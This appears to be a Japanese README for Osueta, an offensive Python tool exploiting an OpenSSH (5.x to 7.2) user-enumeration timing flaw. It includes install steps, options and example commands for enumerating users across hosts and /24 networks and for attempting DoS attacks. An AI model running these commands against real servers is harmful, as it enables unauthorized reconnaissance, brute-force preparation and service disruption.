
OpenSSHのユーザー列挙タイミング攻撃を悪用するシンプルなPythonスクリプト。
* ___ ___ ___ _ _ *
* / _ \ _ __ ___ _ _ / __/ __| || | *
* | (_) | '_ \/ -_) ' \\__ \__ \ __ | *
* \___/| .__/\___|_||_|___/___/_||_| *
* |_| *
* _ _ ___ _ _ *
* | | | |___ ___ _ _ | __|_ _ _ _ _ __ ___ _ _ __ _| |_(_)___ _ _ *
* | |_| (_-</ -_) '_| | _|| ' \ || | ' \/ -_) '_/ _` | _| / _ \ ' \ *
* \___//__/\___|_| |___|_||_\_,_|_|_|_\___|_| \__,_|\__|_\___/_||_| *
* *
* _____ _ _ _ _ _ _ *
* |_ _(_)_ __ (_)_ _ __ _ /_\| |_| |_ __ _ __| |__ *
* | | | | ' \| | ' \/ _` | / _ \ _| _/ _` / _| / / *
* |_| |_|_|_|_|_|_||_\__, | /_/ \_\__|\__\__,_\__|_\_\ *
* |___/ *
***************************************************************************
Osuetaは、OpenSSH バージョン <= 7.2 かつ >= 5.* に存在するOpenSSHユーザー列挙タイミング攻撃を悪用するためのシンプルなPython2スクリプトです。
このスクリプトは、ブルートフォース攻撃で使用するユーザー名のバリエーションを作成する機能と、OpenSSHサーバーにDoS状態を引き起こす可能性を備えています。
http://seclists.org/fulldisclosure/2013/Jul/88
このバグはOpenSSHバージョン7.3で修正されました:
http://www.openssh.com/txt/release-7.3
c0r3dump3d | coredump<@>autistici.org
rofen | rofen<@>gmx.de
www.behindthefirewalls.com の Javier Nieto 氏のサポートと助けに感謝します。
他の攻撃ツールと同様、このスクリプトの使用に関するすべての責任は作者が負いません。
Debian:
# apt-get install python-ipy python-nmap
# pip install paramiko
# pip install IPy
ArchLinux:
# pacman -S python2-ipy python2-nmap python2-paramiko
$ git clone https://github.com/c0r3dump3d/osueta.git
usage: osueta.py [-h] [-H HOST] [-k HFILE] [-f FQDN] [-p PORT] [-L UFILE]
[-U USER] [-d DELAY] [-v VARI] [-o OUTP] [-l LENGTH]
[-c VERS] [--dos DOS] [-t THREADS]
OpenSSH User Enumeration Time-Based Attack Python script
optional arguments:
-h, --help show this help message and exit
-H HOST Host Ip or CIDR netblock.
-k HFILE Host list in a file.
-f FQDN FQDN to attack.
-p PORT Host port.
-L UFILE Username list file.
-U USER Only use a single username.
-d DELAY Time delay fixed in seconds. If not, delay time is calculated.
-v VARI Make variations of the username (default yes).
-o OUTP Output file with positive results.
-l LENGTH Length of the password in characters (x1000) (default 40).
-c VERS Check or not the OpenSSH version (default yes).
--dos DOS Try to make a DOS attack (default no).
-t THREADS Threads for the DOS attack (default 5).
* ユーザー名のバリエーションを使用した単一ユーザー列挙の試行:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
* ユーザー名のバリエーションなしでDoS攻撃を試行する単一ユーザー列挙:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes
* Cクラスネットワークを1ユーザーでスキャン:
./osueta -H 192.168.1.0/24 -p 22 -U root -v no
* ファイルからユーザー名を読み込み、Cクラスネットワークをスキャン(遅延時間15秒、パスワード50000文字):
./osueta -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50